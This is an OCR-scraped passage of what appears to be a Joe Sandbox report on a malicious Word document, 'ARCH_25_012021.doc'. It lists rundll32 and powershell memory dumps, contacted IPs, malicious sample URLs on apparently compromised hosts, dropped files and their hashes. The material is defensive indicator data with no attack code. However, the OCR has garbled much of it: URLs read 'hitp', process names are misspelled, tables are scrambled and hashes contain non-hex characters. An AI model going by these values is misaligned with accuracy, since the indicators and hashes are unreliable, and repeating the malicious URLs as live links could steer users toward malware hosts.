00000009C7000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2102759943.000000000
23A7000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2107325517.00000000023B700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
10722760.0000000000917000.0000
0002.00000001.sdmp

hitp:/fiwww.windows.com/pctv. rundlI32.exe, 00000009.0000000 false high
2.2106073244.00000000021D0000.
00000002.00000001.sdmp
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https://www.virustotal.com/gui/url/f5d32ff7a59c0883c8540503d0ff6bad3ace59b4082054464841fad185005abf/detection/u-f5d32ff7a59c0883c8540503d0ff6bad3ace59b4082054464841fad185005abf-1611588001
https://www.virustotal.com/gui/url/aa0ab60e2501f6d3ed6b02d2009f5686faebae8e914b331e6c7580c5c43a3337/detection/u-aa0ab60e2501f6d3ed6b02d2009f5686faebae8e914b331e6c7580c5c43a3337-1611697702
https://www.virustotal.com/gui/url/47120bbf69c6c9e7bb8f365366287c60546c3484278cfe57963e149c1b098974/detection/u-47120bbf69c6c9e7bb8f365366287c60546c3484278cfe57963e149c1b098974-1611703111
https://www.virustotal.com/gui/url/f5d32ff7a59c0883c8540503d0ff6bad3ace59b4082054464841fad185005abf/detection/u-f5d32ff7a59c0883c8540503d0ff6bad3ace59b4082054464841fad185005abf-1611588001

Name

hitp://investor.msn.com

hitp://www.msnbc.com/news/ticker.txt

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http://
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

hitp://investor.msn.com/

hitp:/f\www.piriform.com/ccleaner

hitpiwww.%s.comPA
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Source Malicious

rundll32.exe, 00000006.0000000 false
2.2102931127.0000000001CF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2100205585.000
00000007E0000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2102534747.000000000
21C0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2106073244.00000000021D000
0.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2102931127.0000000001CF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2100205585.000
00000007E0000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2102534747.000000000
21C0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2106073244.00000000021D000
0.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2103145307.0000000001ED7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101608511.000
00000009C7000.00000002.0000000
1.sdmp, rundll32.exe, 00000008
.00000002.2102759943.000000000
23A7000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2107325517.00000000023B700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
10722760.0000000000917000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2098057868.00000000022D000
0.00000002.00000001.sdmp, rund

1132.exe, 00000008.00000002.21
03421581.0000000002980000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2097305734.00000000001A400
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2102931127.0000000001CF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2100205585.000
00000007E0000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2102534747.000000000
21C0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2106073244.00000000021D000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2097305734.00000000001A400
0.00000004.00000020.sdmp

powershell.exe, 00000005.00000 false
002.2098057868.00000000022D000
0.00000002.00000001.sdmp, rund

1132.exe, 00000008.00000002.21
03421581.0000000002980000.0000
0002.00000001.sdmp

Antivirus Detection Reputation

high
high

e URL Reputation: safe unknown

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe
high
high

high

e URL Reputation: safe low
e URL Reputation: safe
e URL Reputation: safe
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https://www.virustotal.com/gui/url/aa0ab60e2501f6d3ed6b02d2009f5686faebae8e914b331e6c7580c5c43a3337/detection/u-aa0ab60e2501f6d3ed6b02d2009f5686faebae8e914b331e6c7580c5c43a3337-1611697702
https://www.virustotal.com/gui/url/47120bbf69c6c9e7bb8f365366287c60546c3484278cfe57963e149c1b098974/detection/u-47120bbf69c6c9e7bb8f365366287c60546c3484278cfe57963e149c1b098974-1611703111

Name

hitp://www.piriform.com/ccleanerv

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp:/fwww.piriform.com/

Source Malicious

powershell.exe, 00000005.00000 false
002.2097305734.00000000001A400
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2103145307.0000000001ED7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101608511.000
00000009C7000.00000002.0000000
1.sdmp, rundll32.exe, 00000008
.00000002.2102759943.000000000
23A7000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2107325517.00000000023B700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
10722760.0000000000917000.0000
0002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2102931127.0000000001CF0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2100205585.000
00000007E0000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2102534747.000000000
21C0000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2106073244.00000000021D000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2097305734.00000000001A400
0.00000004.00000020.sdmp

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Antivirus Detection Reputation
high
e URL Reputation: safe unknown

e URL Reputation: safe
e URL Reputation: safe

high

high

«
Q,

ASN ASN Name Malicious

Copyright null 2021
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Domain ASN Name Malicious
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ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:
Number of new started drivers analysed:

Number of existing processes analysed:

Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

Copyright null 2021

31.0.0 Emerald

344852

27.01.2021

09:29:42

CloudBasic

Oh 9m 51s

false

light

ARCH_25_012021.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

17

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout

MAL
mal100.troj.evad.winDOC@24/8@1/98

e Successful, ratio: 88.9%

Page 17 of 50



HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type

09:30:37 API Interceptor
09:30:38 API Interceptor
09:30:47 API Interceptor

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL

217.160.169.110

51.255.203.164

192.169.223.13

Copyright null 2021

e Successful, ratio: 8.7% (good quality ratio 6.4%)
e Quality average: 59.1%
e Quality standard deviation: 37.6%

Failed

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Execution Graph export aborted for target
powershell.exe, PID 1552 because it is empty

e Report size exceeded maximum capacity and may
have missing behavior information.

* Report size getting too big, too many
NtOpenKeyEx calls found.

* Report size getting too big, too many
NtQueryAttributesFile calls found.

* Report size getting too big, too many
NtQueryValueKey calls found.

Description
1x Sleep call for process: msg.exe modified
64x Sleep call for process: powershell.exe modified

281x Sleep call for process: rundll32.exe modified

SHA 256 Detection Link Context

Get hash malicious Browse e 217.160.1
69.110:808
0/zrm2/7so
n14/mlgmfb
i2uji6/

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse e shannared
.com/conte
nt/lhALeS/

Get hash malicious Browse e shannared
.com/conte
nt/lhALeS/

Get hash malicious Browse e shannared
.com/conte
nt/lhALeS/
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https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.zante
2020.com/d
e92/?ofutz
I=LIJRLKBSY
6grrtpsJhG
02GrYQIwz0
ACN1211WS7
OpcnRH7cIC
7TbOONH4HvV
apdKvK3Mkb
U2/Law==&0
0GP-0=Lho4
HDBOq2fdJ

www.zante
2020.com/d
e92/?FdC4AE
2D=LJRLKBS
y6grrtpsJh
G02GrYQIiwz
0ACN12I11WS
70pcnRH7cl
C7TbOONH4H
vapdKvK3Mk
bU2/Law==
AjR=9r4L1

WWw.signp
artnerpro.
com/6bu2/?
EIS=plawxk
nhA/x3iGgq
SJIRsJVWuUx
Dt6kQOR9ch
tM/ozeyo8k
718c2+ENgT
AzecGlgx6T
+D&Qtr=KnS
IEX8p2LY

WWw.signp
artnerpro.
com/6bu2/?
DjU4HI=ghG
8jNk0ZBV&Y
LO=plawxkn
hA/x3iGgqS
JRsJvWuUxD
t6kQOR9cht
M/ozeyo8k7
18c2+ENgTA
ze2ZVQx+R2D

WWw.signp
artnerpro.
com/6bu2/?
u6uO=plawx
knhA/x3iGg
qSJRsJvWuU
xDt6kQOR9c
htM/ozeyo8
k718c2+ENg
TAze2ZVQx+
R2D&9r4l2=
XPJtQXiX

WWw.signp
artnerpro.
com/6bu2/?
CjsO=plawx
knhA/x3iGg
qSJRsJvWuU
xDt6kQOR9c
htM/ozeyo8
k718c2+ENg
TAzecGlgx6
T+D&ald=aV
50jnQxv4qp0f

www.elect
watman.com
/gth/?t6A8
=BSvxnM/Fa
tY3MVaHvUs
c2bSEp39wh
kHRVvBzdyZ
iJhALHrd8v
oDBQHL8OFV
R1zdRIwYw&
9r4l2=xPGHVIS8
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https://view.joesandbox.com/analysis/257279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257279/html/none?idtype=webid
https://view.joesandbox.com/analysis/254569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254569/html/none?idtype=webid
https://view.joesandbox.com/analysis/252274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252274/html/none?idtype=webid
https://view.joesandbox.com/analysis/251030/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251030/html/none?idtype=webid
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250853/html/none?idtype=webid
https://view.joesandbox.com/analysis/250341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250341/html/none?idtype=webid
https://view.joesandbox.com/analysis/247720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247720/html/none?idtype=webid

Match

Domains

Match

shannared.com

ASN

Match
OVHFR

RCS-RDS73-75DrStaicoviciRO

AS-26496-GO-DADDY-COM-LLCUS

Copyright null 2021

Associated Sample Name /| URL SHA 256
hitp:/, Get hash
Associated Sample Name /| URL SHA 256

Get hash
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

>
I
@
o
o,
2
®
o
[
o
3
=2
o
2
o
3
o
(=
A
[

Detection

malicious

Detection
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

Link

Browse

Link
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Context

ambiancem
edicalspa.
com/applic
ation/favicon.ico

Context

192.169.223.13
192.169.223.13

Context

66.70.204.222
158.69.118.130
51.255.203.164
46.105.5.118
158.69.118.130
158.69.118.130
158.69.118.130
158.69.118.130
158.69.118.130
139.99.148.202
158.69.118.130
158.69.118.130
51.195.53.221
51.195.53.221
51.75.130.83
51.255.203.164
66.70.204.222
51.195.53.221
54.39.198.228

144.217.19
0.240

84.232.229.24
84.232.229.24
5.14.105.137
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
84.232.229.24
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90

184.168.13
1.241

166.62.29.42
107.180.2.197
192.169.223.13
166.62.10.32
198.71.232.3

184.168.13
1.241

184.168.13
1.241
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https://view.joesandbox.com/analysis/228898/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228898/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid
https://view.joesandbox.com/analysis/258643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258643/html/none?idtype=webid
https://view.joesandbox.com/analysis/258595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258595/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258518/html/none?idtype=webid
https://view.joesandbox.com/analysis/258512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258512/html/none?idtype=webid
https://view.joesandbox.com/analysis/258511/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258511/html/none?idtype=webid
https://view.joesandbox.com/analysis/258509/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258509/html/none?idtype=webid
https://view.joesandbox.com/analysis/258508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258508/html/none?idtype=webid
https://view.joesandbox.com/analysis/258507/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258507/html/none?idtype=webid
https://view.joesandbox.com/analysis/258466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258466/html/none?idtype=webid
https://view.joesandbox.com/analysis/258400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258400/html/none?idtype=webid
https://view.joesandbox.com/analysis/258396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258396/html/none?idtype=webid
https://view.joesandbox.com/analysis/258366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258366/html/none?idtype=webid
https://view.joesandbox.com/analysis/258357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258357/html/none?idtype=webid
https://view.joesandbox.com/analysis/258327/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258327/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258286/html/none?idtype=webid
https://view.joesandbox.com/analysis/258284/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258284/html/none?idtype=webid
https://view.joesandbox.com/analysis/258277/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258277/html/none?idtype=webid
https://view.joesandbox.com/analysis/258273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258273/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258067/html/none?idtype=webid
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid
https://view.joesandbox.com/analysis/257820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257820/html/none?idtype=webid
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257667/html/none?idtype=webid
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257587/html/none?idtype=webid
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257581/html/none?idtype=webid
https://view.joesandbox.com/analysis/257564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257564/html/none?idtype=webid
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257541/html/none?idtype=webid
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257537/html/none?idtype=webid
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257530/html/none?idtype=webid
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257498/html/none?idtype=webid
https://view.joesandbox.com/analysis/257123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257123/html/none?idtype=webid
https://view.joesandbox.com/analysis/257115/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257115/html/none?idtype=webid
https://view.joesandbox.com/analysis/255931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255931/html/none?idtype=webid
https://view.joesandbox.com/analysis/255921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255921/html/none?idtype=webid
https://view.joesandbox.com/analysis/255455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255455/html/none?idtype=webid
https://view.joesandbox.com/analysis/255451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255451/html/none?idtype=webid
https://view.joesandbox.com/analysis/258636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258636/html/none?idtype=webid
https://view.joesandbox.com/analysis/258617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258617/html/none?idtype=webid
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258574/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258498/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258498/html/none?idtype=webid
https://view.joesandbox.com/analysis/258408/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258408/html/none?idtype=webid
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258332/html/none?idtype=webid

Match

ONEANDONE-ASBrauerstrasse48DE

JA3 Fingerprints

No context

Dropped Files

Match

C:\Users\user\Kaktksw\An6othh\N49l.dll

SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
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[

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Created / dropped Files

Detection
malicious

malicious

malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious

malicious

Link
Browse

Browse

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link
Browse

Browse

Context

107.180.12.39

184.168.13
1.241

192.169.223.13
198.71.233.150
198.71.232.3

184.168.13
1.241

192.169.220.85
107.180.34.198
166.62.28.133
198.71.233.47
192.169.223.13

184.168.13
1.241

217.160.16
9.110

82.223.25.82

213.165.67.118
74.208.236.196
212.227.200.73
74.208.236.196
70.35.203.53
70.35.203.53

217.160.16
9.110

212.227.200.73
212.227.200.73
212.227.200.73
212.227.200.73
212.227.200.73
212.227.200.73
212.227.200.73
212.227.200.73
217.76.142.246
74.208.236.161
88.208.252.128

Context

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07E7EB5-D643-47FF-B622-0CF30ED55516}.tmp
C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Copyright null 2021

data
dropped
1024

0.05390218305374581

false

3:013lYdn:4Wn

5D4D94EE7EO06BBBOAF9584119797B23A

DBB111419C704F116EFA8SE72471DD83E8GE49677

4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B

A4
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https://view.joesandbox.com/analysis/258300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258300/html/none?idtype=webid
https://view.joesandbox.com/analysis/258299/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258299/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258280/html/none?idtype=webid
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid
https://view.joesandbox.com/analysis/257851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257851/html/none?idtype=webid
https://view.joesandbox.com/analysis/257846/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257846/html/none?idtype=webid
https://view.joesandbox.com/analysis/257838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257838/html/none?idtype=webid
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257833/html/none?idtype=webid
https://view.joesandbox.com/analysis/257801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257801/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258377/html/none?idtype=webid
https://view.joesandbox.com/analysis/258364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258364/html/none?idtype=webid
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258358/html/none?idtype=webid
https://view.joesandbox.com/analysis/258337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258337/html/none?idtype=webid
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258336/html/none?idtype=webid
https://view.joesandbox.com/analysis/258292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258292/html/none?idtype=webid
https://view.joesandbox.com/analysis/258289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258289/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257835/html/none?idtype=webid
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257834/html/none?idtype=webid
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257828/html/none?idtype=webid
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257816/html/none?idtype=webid
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257815/html/none?idtype=webid
https://view.joesandbox.com/analysis/257746/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257746/html/none?idtype=webid
https://view.joesandbox.com/analysis/257546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257546/html/none?idtype=webid
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257528/html/none?idtype=webid
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258550/html/none?idtype=webid
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258287/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07E7EB5-D643-47FF-B622-0CF30ED55516}.tmp

Malicious:
Reputation:

Preview:

false

high, very likely benign file

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E3935BE2-A796-4096-8B6B-C6BCF64E2588}.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

1536

1.355309574382354

false

B6B5BAF66D24A013A181E73F18CAB748
B7A5BA97AB20478FOE4D5E6DCAC864208F2403BD
717C635B3416856BBC33233CCD388B72CC4F216621D929E7DC580D72B79798D0
B059D7B664E25550072ADFB4763C114F1F12313250DAA645082F5F4DBF159FF12FFF300F66CES51768340C9FE9OFCOA3C488C25551B84831D5669D2FFA657154
false

low

el loos oo Cors ool ILULS e Ao oo oo e e s oo oo oo e e eeeeeeeee e

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\ARCH_25_012021.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020,
atime=Wed Jan 27 16:30:34 2021, length=175616, window=hide

dropped

2068

4.523631563965507

false

48:8F/XT3IkHVNj3HIQh2F/XT3IkHVNj3HJIQ/:8F/XLIKHVZIQh2F/XLIKHVZJQ/

AA3B7DF3EB16E1412DA0F6CD651990E1

7EF784E4F5180B90B12AF7270D6CFA2DDBI9A4D52

5416F79079A05BCD1A8987F9990B6860972D0B5D416063F3B22E64C63C856F0A
425536BD470209E431FDD435F71A0B811F609DA29E58D09FC6CEELAES85978C5A2277730CEOBC79EC0938849FE71351C4061784500FA488493F12CE7676104B44

false

6....Us.ers..@.s.h.ell32.dll,.-

1.....QK.X..Users."

